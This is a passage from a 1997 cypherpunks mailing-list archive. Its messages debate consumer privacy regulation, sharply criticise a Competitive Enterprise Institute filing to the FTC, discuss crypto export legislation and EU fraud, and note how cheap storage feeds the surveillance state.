>	numbers as driver identification numbers.
>	And Departments of Motor Vehicles have
>	been rather cavalier about selling the
>	data collected, including social security
>	numbers. That is why the outcry against
>	Lexis-Nexis, which created a database of
>	publicly available government information,
>	was misplaced. [...]


I haven't looked at the rest of the CEI report says, but
this last statement about P-TRAK is factually incorrect.
Lexis-Nexis did not create a database of "publicy
available government information,' they bought
credit record information from TransUnion, a credit
reporting agency, and exploited a loophole in the
Fair Credit Reporting Act which allowed them to
sell the credit "header" information.

Assuming that CEI does not question the public objection
to P-TRAK, what solution do they propose? There is no
contractual relationship between individuals (who are
simply record subjects in thsi instance) and look-up
services such as P-TRAK and therefore no opportunity
for markets in any meaningful sense to operate.

Isn't this a casebook example of where regulation
is appropriate?

Marc Rotenberg.
EPIC.




==================================================================
Marc Rotenberg, director                *   +1 202 544 9240 (tel)
Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
Washington, DC 20003   USA              +   http://www.epic.org
==================================================================








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Apr 1997 20:15:12 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Query: Who has left the U.S. to evade the law?
Message-ID: <Pine.GSO.3.95.970425201315.13101B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


An associate is trying to find an American who left the country to operate
a high-tech business, possibly illegal, outside the U.S. to evade American
laws. Think hacking/cracking, money laundering, child porn, black market.
This is for a profile in _Details_ magazine.  Any tips? My friend is
discreet and trustworthy and lives in New York City.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Apr 1997 20:22:22 -0700 (PDT)
To: Jim Bell <jimbell@pacifier.com>
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <199704260154.SAA14871@mail.pacifier.com>
Message-ID: <Pine.GSO.3.95.970425201740.13101F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


My lord, I'm agreeing with Jim Bell!

Right now, no controls exit on domestic crypto, though strict export
controls are in place.

The question is: Do we want to give up any domestic freedom in exchange
for a relaxation of export controls? (Congress is, after all, built on
compromises between warring factions.)

My instinct is to say "No." Let the courts strike down ITAR, EAR, and its
progeny, while we keep our freedoms domestically. 

-Declan


On Fri, 25 Apr 1997, Jim Bell wrote:

> At 11:13 4/25/97 -0700, Ernest Hua wrote:
> >> Date: Thu, 24 Apr 1997 18:17:09 -0400
> >> To: fight-censorship-announce@vorlon.mit.edu
> >> From: Declan McCullagh <declan@well.com>
> >> Subject: FC: Crypto moves forward: Commerce Dept panel and SAFE markup
> >
> >> It also creates new criminal penalties for using encryption to
> >> further a criminal act ...  Remember that Maryland bill that would
> >> criminalize sending "annoying" or "harassing" email? If the
> >> Goodlatte bill became law, Marylanders who signed their messages
> >> with PGP or telnetted to local ISPs could be slammed with an
> >> all-expenses-paid trip to the Federal pen for five years ...  In
> >> other words, SAFE would turn state misdemeanors into Federal
> >> felonies.  This is not good.
> >
> >Ok.  So it's kind of bad in this respect, but let's face it ... we
> >can't have everything OUR way, the FIRST time around.  Washington
> >politics is just not that way (not that you need such a reminder).
> 
> I think you misunderstand the situation.  The government is in somewhat of a
> disadvantage by virtue of the fact that there is relatively little
> pro-censorship and anti-encryption legislation.  Absent such legislation,
> the status-quo moves in a relatively free fashion, which is why the Internet
> is mostly unregulated today.   
> 
> 
> >> A coalition of groups is sending a letter to Goodlatte tomorrow supporting
> >> the bill but expressing concern over the criminalization provision.
> >> Interested in signing on? Email David Sobel: sobel@epic.org.
> >
> >Let's let the legislative process (whatever you think of it) take its
> >course.  
> 
> That's precisely what they want us to allow, and that's exactly why we
> shouldn't accept it.  As Tim May has repeatedly pointed out, we are probably
> better off with NO legislation than bad legislation, and all we've been
> offerred so far this year is bad legislation.
> 
> 
> 
> 
> Jim Bell
> jimbell@pacifier.com
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Apr 1997 20:24:24 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: CEI tells the Federal Trade Commission to be wary of regulation
Message-ID: <Pine.GSO.3.95.970425202349.13101H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 25 Apr 1997 19:19:49 -0500
From: Mikus Grinbergs <mikus@bga.com>
To: Declan McCullagh <declan@well.com>

> Julie DeFalco from the Competitive Enterprise Institute, a libertarian
> think tank here in DC, today sent me what her organization filed with the
> FTC earlier this month.

DID YOU HAVE TO POST THIS to your list?  Sure, it publicises what
the "other side" has to say, but I find so much to object to in
practically every sentence that it almost makes me ill.  I can
only hope that other filings to the FTC display more respect for
the individual than this does.

----
>>
>> The confusion surrounding the term privacy leads one
>> to conclude that "privacy" is like a Rorschach ink
>> blot - different people read different things into it.
>>  "Whenever an invasion of privacy is claimed, there
>> are usually competing values at stake."   In this
>> sense, privacy is not a right, it is a preference.

Eek!  Here the CEI is re-defining "privacy as a right" into "privacy
as a preference"!  In my opinion, the word "right" conveys a sense of
moral conviction, whereas the substituted word "preference" conveys
(as it is intended to) a connotation of malleable irresolution.

I am not a lawyer, nor am I familiar with the various court precedents,
but if "pursuit of happiness" can be considered a "right", I would
argue that so can "privacy" be considered a "right".  Is there even
a dividing line between the two?

>>
>> Supreme Court Justice Lewis Brandeis said that privacy
>> is the "The right to be left alone - the most
>> comprehensive of rights, and the right most valued by
>> a free people."

This quote is a brilliant stroke on the part of CEI - its presence
here reassures those who agree with Justice Brandeis (of whom I am
one), but the idea of value to "being left alone" is disregarded
throughout the rest of CEI's submission.

Let me illustrate what I think is meant by "privacy":  Suppose I
do not have a secretary to take care of my personal correspondence.
As long as I receive only a few letters each day urging me to do
something, I consider that to be a tolerable "cost" associated with
living in this modern-day society.  But suppose the mailman starts
bringing me hundreds of such letters each day -- it will take me
time and effort just to dispose of them (even if I did not look at
their content) -- time and effort diverted from my goal of "pursuit
of happiness".  Because I was not left alone, my ability to _choose
by myself_ what to do and what not to do (that is, my *privacy*)
was violated.

----
>>
>> The allocation of costs and benefits deriving from
>> data collection depends upon whom you ask.  Again,
>> privacy is a preference, not a universal right.

This seems to be the central message of what CEI is proposing --
run a poll, and if the plurality of respondents say that they see
a benefit to society of identifying who you are each time you buy
something (or even enter any store or Web page) -- why then, let's
all be good citizens and not be irritated and just present our
tamper-proof IDs when asked.

>>   <snip>             The FTC should be extremely
>> cautious in regulating the free flow of consumer information.

[Surely CEI can convince them that for "free flow of consumer
 information" what is important is the flow of information about
 consumers to marketers -- after all, it is the market that rules,
 not vague intangibles like "individual privacy".]


mikus






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Apr 1997 17:34:16 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Deloitte-Touche: Fraud and the Net
In-Reply-To: <v03020932af869cbff9ee@[139.167.130.246]>
Message-ID: <v0300780caf86fcde7846@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:39 PM -0400 4/25/97, Robert Hettinga wrote, quoting a forwarded article:
>Anyone have a pointer to the full report or a more detailed
>abstract?

I'd be happy to contribute towards the cost if someone else wants to take
up a collection and buy the report. (If it goes online, as I assume it
will, is this an example of a cypherpunkish "public good?")

Or I can try to call up and get 'em to send me a copy as a journalist.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 25 Apr 1997 17:41:27 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche: Fraud and the Net
Message-ID: <1.5.4.32.19970426003951.00836a64@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan wrote:
>I'd be happy to contribute towards the cost if someone else wants to take
>up a collection and buy the report. (If it goes online, as I assume it
>will, is this an example of a cypherpunkish "public good?")
>
>Or I can try to call up and get 'em to send me a copy as a journalist.

----------

Praps a local bloke can help us out:

The source is given as the D&T office in London: 

http://www.deloitte-touche-consulting.co.uk/about-us.html

Deloitte & Touche Consulting Group,
                          Stonecutter Court,
                          Stonecutter Street,
                          London EC4A 4TR.
                          Tel: 0171 303 3000

Sure, I'll buy it and pay for Fedex too; got my Amex and FX
numbers ready.

John

----------

   Financial Times, April 24, 1997, p. 3.


   EU fraudsters 'revel in fiscal paradise'

      Report urges Brussels authorities to crack down on $77bn
      cross-border corruption

   By John Mason in Brussels


   International fraud in the European Union could be costing
   governments, companies and individuals up to $77bn a year,
   a report commissioned by the European Commission has
   concluded.

   Crimes such as Internet abuse, counterfeiting, banking and
   investment frauds and smuggling pose an increasing threat
   which can only be countered by further international
   action, said Deloitte & Touche, the accountancy firm.

   Harmonisation of laws and regulations, improved
   co-operation between states and a greater stress on fraud
   prevention are needed if EU economies are not to be
   undermined by international criminals, the report said.

   Mr Will Inglis, the Deliotte & Touche partner responsible
   for the report, said: "There is clear evidence that
   determined fraudsters deliberately and cynical]y manipulate
   and take advantage of the different regulatory and
   monitoring regimes across the EU to perpetrate their
   frauds. In particular, we see the fraudsters taking
   advantage of havens of secrecy and fiscal paradises.
   Fraudulent activity in the Union has the potential to
   seriously distort competition and harm the citizens of the
   EU who end up paying the cost."

   The report identified 10 areas of concern: computer abuse,
   banking frauds, counterfeiting, investment fraud,
   confidence tricks, public sector fraud, fraudulent
   bankruptcy, insurance fraud, smuggling and money
   laundering.

   The type of crime varies considerably between countries. In
   the UK, financial services fraud is a problem because of
   the size of the industry, France suffers particularly from
   counterfeiting of luxury goods, while in Greece the
   smuggling of antiquities is second only to the drugs trade
   in terms of crime.

   However, across the EU, the removal of restrictions
   following the creation of the single market and
   technological advances have opened up opportunities for
   fraudsters, the report said.

   Perhaps the largest single threat comes from fraud through
   the Internet, Mr Inglis said. The potential for abuse of
   computer systems is huge, particularly since encryption
   technology is vulnerable to sophisticated computer abusers.
   The Internet is now also being used to manipulate financial
   markets.

   In other areas, fraudsters are becoming more sophisticated.
   Insider dealers are making more use of offshore havens to
   avoid detection while criminal syndicates with knowledge of
   banking practice have cheated banks.

   Not that frauds all need to be sophisticated. Italian
   investigators discovered that Libyan dinars were being
   taken to Naples to be literally "laundered" with a solvent
   and re-printed as D-Marks.

   The incidence of cross-border frauds is increasing faster
   than those which take place only within one country, with
   organised crime playing a substantial role, the report
   said. Other perpetrators of fraud, although on a lesser
   scale, include senior company managers.

   The report points to lack of legal harmonisation: In some
   EU states it is not even an offence to bribe somebody in a
   different country.

   Action against fraud can also damage a member state's
   economy. The use of "offshore" havens, some inside the EU,
   remains a common feature of fraud. But with some EU
   economies closely linked to the offshore world, the
   incentive to push for reform in this area is limited.

   Fraud, especially crossborder fraud, tends also to be given
   low priority compared to other crimes. There is also less
   political will to tackle money laundering when this
   involves fraud rather than drugs.

   The report concludes there are four priority areas - 
   increased legal harmonisation, improved co-operation
   between member states, a greater concentration on
   confiscating fraudsters' assets and developing awareness of
   fraud prevention.

   [Bar chart] Corporate Fraud. Countries involved, with two
   bars for each showing: Number of cases involving each
   region and number of times countries in this region were
   mentioned as being of concern.

   EU countries
   Tax havens/fiscal paradises
   Eastern European countries
   Others (including US and Asia)

   --

   "Fraud without Frontiers", L95, Deloitte & Touche, 1,
   Stonecutter St, London EC4A 4TR.

   [End]








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 25 Apr 1997 21:42:07 -0700 (PDT)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Surveillance Statists (Was: Cato forum on liquor advertising and electronic media)
In-Reply-To: <3.0.32.19970424211058.006a0460@cnw.com>
Message-ID: <3.0.1.32.19970425203954.005a0550@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:13 PM 4/24/97 -0700, Blanc wrote:
>>I wish these people would go live in the U.S.S.R., or something.(*)
The fact that the USSR only exists in the past should be just fine for
some of these people, who'd also rather live in the past :-)

At 12:58 AM 4/25/97 -0700, Greg Broiles wrote:
>Indeed - I frequently find myself wondering who really won the cold war. The
>"free world" seems to be adopting the totalitarian/surveillance-state tactics

Same as it ever was - J. Edgar Hoover and Joe McCarthy weren't much different
from Louis Freeh or Ollie North today, or than the thugs who drafted people 
into the wars of 1846, the 1860s, 1917-18, the 1940s, 1950s, or 1960s, or the
thugs who arrested Schenck for speaking against the draft in 1916 before there
even was a draft...  Perhaps they were a bit more aggressive than Louis, 
but Louis's got the advantage of better hardware, and 
Moore's Law is unfortunately on the side of the surveillance state.
If Harry Anslinger wanted to wiretap a Demon Rum Dealer, he needed guys
to listen to the tap, though perhaps wire recorders could help,
and any recordkeeping correlation was done by people and dead-tree machinery.
If J.Edgar wanted to wiretap a Commie, he could use voice-activated tape 
recorders, but it was still analog, and still needed people to interpret it,
though records like names of important convicts and Commies could be kept in 
big expensive mainframes.  If either one wanted to read your mail, 
the Post Office would be happy to pick it out for them, and they could steam 
open the envelope if you weren't taking advantage of the Post Office's
cheaper rate for unsealed envelopes.

Back in the early 80s, if you wanted to store 1 byte of information for
every American adult, you either needed a high-end magtape (160MB)
which used a $30-50K tape drive, for slow retrievals, or a fast removable
disk pack ($1000 for 250MB) which also needed a $35K disk drive.
This meant that large-scale data on the population was mainly used by
people who were making money out of it, and governments mainly focused on
a million or so usual suspects because it was too much trouble to do more.

Now $30 will get you a CDROM with 100 million phone numbers on it,
$300 will get you a 3GB of hard disk (still only 10 bytes/person),
or a disk drive holding 500MB removables, a 4GB tape drive is probably $1000,
and your original $30K will probably get you a few terabytes worth of
tape stacker capacity - if not today, then next year.  That means that
not only can Louis Freeh keep data on everybody, but just about anybody
can afford to, and it's increasingly possible to keep it in random-access
forms like disk drives which can be correlated much more easily than tapes.
Optical scanners are getting cheap - paper won't be just dead trees much
longer.
[If I mention video cameras I'll start sounding depressingly like David
Brin :-)
Of course, the amount of data you'd want to track keeps growing faster as
well...

So if we want to create or preserve privacy in this sort of world,
we need to change how we do transactions - keep less information,
do more immediate clearing instead of book-entry (at least that's 
getting cheaper as well), build systems that interact with people
that accept anonymity for most transactions, and use it by default.
On the other hand, there's money to be made in data-mining transaction data,
through improved marketing and targeted advertising - so we need
to find other ways for companies to make money on transactions
so they'll be willing to let go of the transaction data.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 25 Apr 1997 20:02:03 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: CEI tells the Federal Trade Commission to be wary of regulation
Message-ID: <Pine.LNX.3.95.970425230131.22717C-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 25 Apr 1997 22:44:51 -0400
From: Michael Sims <jellicle@inch.com>
To: fight-censorship@vorlon.mit.edu
Subject: Re: CEI tells the Federal Trade Commission to be wary of regulat

I've just read through this thing.  What a load of crap.  The 
libertarian bent shows through, assuming that businesses have a right 
to consumer information and denying that is sacrilege.  I'll just do 
a quick red penning of the thing:


> CEI is a non-profit, non-partisan free-market research
> and advocacy group.

Libertarians aren't a party?

> The confusion surrounding the term privacy leads one
> to conclude that "privacy" is like a Rorschach ink
> blot - different people read different things into it.
>  "Whenever an invasion of privacy is claimed, there
> are usually competing values at stake."   In this
> sense, privacy is not a right, it is a preference.

Of course there are competing values at stake.  Usually, it's your 
"right to make a buck" vs. my "right to be let alone".  I don't think 
corporations have a "right to make a buck".

> Much of what people want in the name of "privacy" is
> that which they could actually achieve through
> traditionally understood conceptions of property
> rights and freedom of contract.  But when "privacy"
> itself is set forth as an amorphous, floating concept,
> it in fact threatens property rights and freedom of
> contract.  It is this substitution of an ill-defined
> "privacy right" for well-defined rights that threatens
> the Internet.

In other words, if consumers have any say in the reselling of their 
names and information, it threatens business's "rights".  Exactly 
what contract did I sign when I posted to alt.beavis.and.butthead and 
received ads about ab rollers and make-money-fast?

> On the other hand, companies cannot impose an agenda
> on private individuals the way the government can.
> When they try to, there are civil and criminal laws
> there to stop them.  Despite rhetoric about the
> "power" of large corporations, all marketers can
> really do is try to persuade people to buy their
> products.  They do this through advertising.

Corporations good, government bad.

> Why is data collection so important for the Internet?
> 
> People have repeatedly demonstrated that they are not
> willing to pay for content on the Internet.
> Advertising Age magazine recently reported that only
> 25% of people polled were willing to pay to subscribe
> to online publications.   Many subscribers to content
> pages freely share their passwords with others.  "If
> Web sites can't figure out how to halt the
> free-for-all, a promising revenue source for on-line
> businesses may be threatened."

Oh no!  Business may lose a percentage of their bottom line! 
Scream! Run away!

Sigh.  I wasn't aware there was a constitutional right to make money 
in a certain fashion.  There IS an [interpreted] constitutional right 
to privacy.

> Therefore, in order to develop, web sites will
> increasingly depend upon advertising for support.

Quite frankly, there's a godawful amount of content out there now, 
being delivered for at a loss, or break even, or a slight profit.

I fail to see the business "right" to turn the net into an 
advertising medium, which so compels this whole statement.

Aren't cookies enough?  geeez.

> At the same time, advertisers are still very hesitant
> about advertising on the Internet.  "Where are the
> marketers?" asked one Advertising Age editorial.   The
> editor of Out magazine's web page, now defunct, was
> quoted as saying, "advertisers aren't clamoring to get
> on the Web - we have to beat them up to get on the
> Web" (emphasis in original).   Anything which makes it
> harder for advertising to work will have direct
> effects on the quality and content of the Internet, a
> very serious harm to Internet users.  In addition, it
> will likely raise the cost to consumers of using the
> Internet.

A flat-out lie.  Advertising pays no costs of my using the 
net, and a very small percentage of the web sites I visit are 
ad-supported.

What they mean to say is, "If you make targetted advertising harder, 
we'll have to rely on less-well-targetted advertising, and businesses 
may make less money off the net."

So?

> Is the issue "privacy," or is it really marketing?
> 
> Much of the rhetoric surrounding the privacy issue
> concerns the purported power of advertising.  There is
> a decades-old strain of thought which declares that
> advertising is coercive and makes people buy what they
> do not want.  This is untrue, as examples from the
> Edsel, to New Coke, even to Nissan (which has a great
> ad campaign but has seen no increase in auto sales)
> show.  Unfortunately, many people do not fully
> recognize the very real benefits consumers derive from
> advertising.

Which corporations support this, uh, "think-tank" again?

There's actually a variety of simple formulas relating how much 
advertising is required to make a movie a hit, for example.  
Publicize an incredibly lousy movie sufficiently, and it will turn a 
profit.  For them to deny that advertising has any power over 
consumers (not people in this corporate-viewpoint paper; only 
consumers) is to deny reality.

> Advertising's role in a market economy is essential,
> and essentially benign.  Advertising lets consumers
> know about price and quality information.  It alerts
> consumers to the existence of new and improved
> products.  It even saves consumers time by helping
> them figure out what they do not want in advance of
> shopping (e.g. a new car's styling is unattractive, or
> it is too expensive).   Curtailing advertising limits
> the availability of consumer information.

That's real funny.  You're right, I'm being done a valuable service 
for my own good when I get spam email for ab rollers.

> FTC Question 2.3: What are the risks, costs and
> benefits of collection, compilation, sale and use
> of personal consumer information in this context?
> 
> Despite plenty of speculation, there has been no
> demonstration of significant actual harm resulting
> from the commercial collection of personal data over
> the Internet. This is not to say that all data posted
> on the Internet are good.  Quite the contrary.  For
> example, the government has made it difficult, if not
> impossible, to live in America today without a social
> security number.  Congress has mandated that all
> states use social security numbers as driver
> identification numbers.  And Departments of Motor
> Vehicles have been rather cavalier about selling the
> data collected, including social security numbers.
> That is why the outcry against Lexis-Nexis, which
> created a database of publicly available government
> information, was misplaced.

Marc Rotenberg already got this one, so I'll forbear.  Not only do 
they have the facts wrong, they turn it into an example of "business 
good, government bad" when it's really an example of "business 
seeking profit runs up against consumers who've had enough".

> The allocation of costs and benefits deriving from
> data collection depends upon whom you ask.

Yeah, and if you ask a pro-business think-tank, their lies will be 
slanted this way.....

>  Again, privacy is a preference, not a universal right.

Unless you count that whole Bill of Rights thing, of course.

They must be referring to other countries here.

> While some may not like the very idea that data are being collected
> about their consumption behavior, others may not care at all. 
> Indeed, some consumers may not mind how much information about them
> is available, if it means they will receive only ads targeted to
> their particular interests.

Like ab rollers.

> "Consumers don't mind advertising and pay attention to it, as long
> as it gives them something of value."

Some people may not mind be gunned down on the street.  Eliminate the 
penalties for murder because some people might like it.

> There is a tension between the notion that all
> interactions on the Internet ought to be private, and
> the fact that people go on to the Internet to
> communicate in public.

I go out on the street to communicate in public too, but that doesn't 
give you the right to phone me 20 times a day selling ab rollers.

> The reality is that going on to the Internet is like walking on a
> public street, with each Web page like a private store.

Sounds good to me.  Does my walking down the street give blanket 
permission for anyone who sees me to call me up and pitch ab rollers?

No?

Does my posting to Usenet give blanket permission for anyone who 
egreps the news disk to mail me and pitch ab rollers?

>  Each Web page has the right to set up its own conditions for entry.
>  Such policies could range from a free-for-all data collection
> spree, to very strict information collection limitations.

Oh, they could.  But without any governmental regulation, I think you 
know which end of the spectrum it will settle at.

Wired's site sends out what, 12 or 15 different cookies?

Those slow-loading sites in the future won't be because of the 
content, it will be because of the tracking they're doing.

> It is important to note that since advertising depends
> upon customer profile information,

No, not really.  "...is made more efficient by...", sure, but 
depends?  No.

> web pages which take extra steps to protect privacy might be
> relatively more expensive, and may have to charge a premium.  If
> one individual prefers more privacy than another, this is a
> reasonable situation.

Pay to avoid ads!

> It behooves Web pages to clearly define the terms of entry.  As for
> chat rooms and newsgroups, their entire purpose is for people to
> communicate with each other.  Therefore, people should not be
> surprised when third parties collect information which they have
> already placed in the public realm.

Oh, surprised, no.  Annoyed when their "collections" endanger the 
usability of my email, and cost me substantial time, yes.

> There are some very serious problems with the notion that consumers
> somehow "own" information about themselves which they have already
> released publicly, or through a contract with a company.

Consumers have no rights.  Businesses have rights.  Remember this.

>  Away from the virtual world, people have repeatedly shown
> willingness to give up their "valuable" personal data in return for
> such things as rebates or coupons.

Where's my coupon for posting to Usenet?

>  From product reply questionnaires to supermarket shopper clubs,
> people give out information all the time, often
  ^^^^^^

Substitute "idiots".  I never fill out any of that crap.

> automatically.  Even when it comes to the sale of magazine
> subscriber lists, many people know about it and often take
> advantage of deals offered by other magazines and by marketers of
> certain products.

Sure, buddy.  Like my subscription to Scientific American, which has 
resulted in my being sent direct mail for tons of shit designed to 
appeal to 65-year-old scientists.

> Some say that consumers ought to be reimbursed for this sale of
> names.  But value is subjective, and, in a market economy, a good
> offered for sale is only worth what someone else is willing to pay
> for it. Companies pay for the names because it saves them the time
> and expense that it would take to collect the publicly available
> information themselves. Arbitrarily assigning a price to names,
> rather than having it settled by negotiation through the market,
> assumes that everyone agrees upon the value of a name. As discussed
> above, this is not so.  Artificially raising the price of a good
> (i.e. a name) through regulation would surely decrease demand for
> it.  That outcome might please many privacy advocates, but it would
> hurt consumers in unseen ways, by limiting the availability and
> circulation of consumer information.

Translation: it would dent advertising costs and put them on the 
advertiser instead of the receiver of junk ads.  Consumer bad, 
business good: we don't like this idea.  We like the costs being on 
the consumer.

> If you release information about yourself, then that information
> becomes part of the public realm. For example, suppose you place an
> engagement announcement in a local newspaper.  You do not "own"
> that information.  That is, other parties can pick it up and use it
> for, say, creating mailing lists of newlyweds or brides-to-be. "The
> power to control information about you is the power to control the
> speech of others."

Nice platitude.  I would think libertarian property rights would hold 
sway here, but I guess they're conflicting with "business good".

> Even when it comes to implicit contracts - the selling of magazine
> lists, for example - there is no reason why it is incumbent upon
> the magazine seller to obtain an affirmation from every subscriber
> before selling their names. Rather, sensitive consumers ought to
> pay attention to the fine print of their contracts.

There's no part of the Sci Am subscription form which says "by 
subscribing, we will sell your name around the world to junk 
mailers."  Believe me, I've looked.

> They can decline to contract in the first place, or establish a set
> of  acceptable conditions, such as requesting that their names be
> removed from mailing lists.

A farce.  You and I know that business will require disclosure of 
personal info as a prerequisite for doing business if it lies within 
their scope.  I think Radio Shack was a particularly egregious 
example of this, requesting names, addresses and phone numbers even 
for cash purposes.  I've told them to fuck off on more than one 
occasion.  Imagine if your phone number was scribed on the outside of 
your body, as your email address is on this posting...

> Keeping names off of lists is a preference and not a right.

Businesses have rights!  Consumers have none.

> Consumers who do not like this practice have no right to impose
> their preferences on everyone.

Businesses have rights!  Consumers have none.

>  What goes for the real world should apply to the virtual world.

Okay, ASK me for my info, just like you have to in the real world.  
Sounds fair to me.

> The risks of this data collection by companies are overstated.

I've seen more than one account disabled by excess junk email.  
Think it's a pain now?  Just wait.

> The one exception is when collected information falls into the
> hands of the government. For example, an ice-cream shop culled
> names of eighteen-year-olds from the store's birthday club and sold
> the list to the selective service.   For these customers, going
> into an ice-cream shop mean induction in the army.

Government bad, business good.

> The costs and benefits of data collection are different for every
> consumer.   Regulation would only institutionalize a set of
> preferences, rather than uphold rights.  It might be that companies
> ought to be more explicit about their information collection
> policies.  However, those companies which do take extra steps in
> this regard frequently tout it.  In short, those consumers most
> concerned about data collection already have one way of satisfying
> that preference, without resorting to government intervention.

Which way was that?  Choosing only marketers who say they won't 
resell information?  What if they lie?

> FTC Question 2.16: How widespread is the practice of sending
> unsolicited e-mail?  Are privacy or other consumer interests
> implicated by this practice?  What are the sources of e-mail
> addresses used for this purpose?
> 
> Unsolicited e-mail is very similar to junk mail in the context of
> "privacy."  Many people find it annoying, especially since junk
> e-mail shifts the cost from the sender to the recipient, who pays
> in time and money. However, enough people like it and take
> advantage of it that the practice continues.

No, the cost of sending the advertisement in the first place is low 
enough that the practice continues.  Typical response to a junk 
emailing is about 20% of receivers will reply with hate, the majority 
will ignore it, and fewer than .1% will respond favorably.

This CEI statement is grossly misinformed or simply lying.

> E-mail marketers often harvest names through data mining -
> collecting e-mail addresses from newsgroup posts and chat rooms. It
> is clear that many consumers do not like this, but it is not clear
> why this practice should be made illegal, as opposed to being
> simply irritating.

It's an irritation that government has the power to stop; and

Nothing short of government action will stop it; and

Government action will not cause any collateral damage.

Seems like a perfect case for government action to me.


> As previously noted, people who venture out into those chat rooms
> and newsgroups are going out into public. E-mail put out into these
> areas is public property,

Au contraire.  Saying such a thing does not make it so.  Public 
property?  No.

> much as an engagement announcement would be. Therefore, someone
> collecting lists of names and sending out junk e-mails is acting
> perfectly legitimately.  There is no way for a data collector (or
> even another participant) to know in advance who would like to hear
> about something or not.

It's safe to assume the majority do not.  That's true with 100% 
certainty.  Yet this paper attempts to say the consumer is being done 
a service.

> The combination of what is wanted and what is unwanted is different
> for everyone.

I don't want anything that is completely unsolicited trying to 
sell me stuff.  This is true for 99% of the human race.

> Many people object to the costs of paying for unwanted e-mail (e.g.
> charges per e-mail received, line charges incurred while using the
> e-mail function).  That is perfectly understandable.  But if you do
> not wish to be put on a list, the responsibility is yours to avoid
> it.

It's not companies' responsibility to not call you at 3AM - it's your 
responsiblity to not have the phone on the hook!

> Fortunately, there are already  options available.  Most of
> the major Internet providers - AOL, Prodigy, CompuServe - already
> have banned junk mailings.   This provision of what some see as a
> valuable service is perfectly legitimate as well.  In addition, AOL
> also permits people who participate in chat rooms to use up to five
> false names.  Along with the ease of finding anonymizers to surf
> the Web, "going incognito" has never been so easy to do.

They know as well as anyone that the "default" is to reveal plenty of 
information, and few users will stray from that.

They also know that neither AOL nor Prodigy nor Compuserve have 
"banned" junk emailings.  They are lying, yet again.  What the online 
services have done is take action against a certain junk emailer who 
was reducing the usefulness of their email systems with the 
volume of junk mail inflicted.

> As the Washington Post aptly noted, "Psychologically, the more
> interesting question is why folks who long since gave up the
> attempt to stop mass telemarketing or ordinary
> delivered-to-the-door junk mail find it so much more immediately
> threatening to receive mail that can be deleted at the touch of a
> button."

Mass telemarketing is far from illegal.  It is regulated to avoid the 
extreme abuses which occur with 100% certainty when businesses 
see a chance to make money.  As should junk emailing.

> FTC Question 2.18: What costs does unsolicited commercial e-mail
> impose on consumers or others?  Are there available means of
> avoiding or limiting such costs?  If so, what are they?
> 
> The wording of the question suggests that the FTC believes that the
> primary cost of unsolicited e-mail is "privacy."

Translation: we would like to avoid a discussion of the very real 
dollar costs imposed upon unsuspecting email recipients.  The wording 
of the question suggests no such thing, but that's what we'd like to 
talk about.

>  Once again, "privacy" is a preference.

Forgot that Fourth Amendment again, eh?

> Therefore, junk e-mail is a cost only to those who personally
> object to data collection.  It might be useful to look at this
> situation in a different way.

Unless you count such mundanities as time and dollars as "costs".  
Funny how these pro-business types are great at accounting usually, 
but forget all that when it comes to making these statements.

> In addition, clamping down on data collection will hurt smaller
> companies and non-profits, who might find this data collection
> useful in finding new customers or members.  Well-known
> non-profits, for example, receive a great deal of publicity and
> exposure in the general media; how many other, smaller groups would
> like to find people interested in their work via the Internet?

Wave the non-profit flag to disguise the HUGE profit-seeking behemoth 
out there.  Great.  As if I'd ever help aa non-profit who spammed me.

> One of the biggest objections to data collection is its awesome
> speed.  But this is not a sufficient basis for regulation; it is an
> extension of objections to data collection in general.

Actually, it is.  The abuses become significantly greater and 
therefore more of a concern to government.

> Use of data collection technology makes information cheaper and
> more available to a variety of groups, from non-profits to
> associations dedicated to one or another hobbies or interests.

As if that would account for .00000001% of the use.

> As Esther Dyson put it, "The goal is a market in privacy practices.
>  That will result in constantly improving standards rather than
> rigid ones set by law, and in decentralized, speedy enforcement"
> (emphasis in original). 

You know how this "market" will go?  Businesses willget together, say 
"Hey, there's no point fighting over this, let's just standardize on 
full consumer disclosure.  It will help all of us."  and that will be 
it, no more market.


-- Michael Sims





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 25 Apr 1997 22:00:14 -0700 (PDT)
To: cypherpunks@toad.com
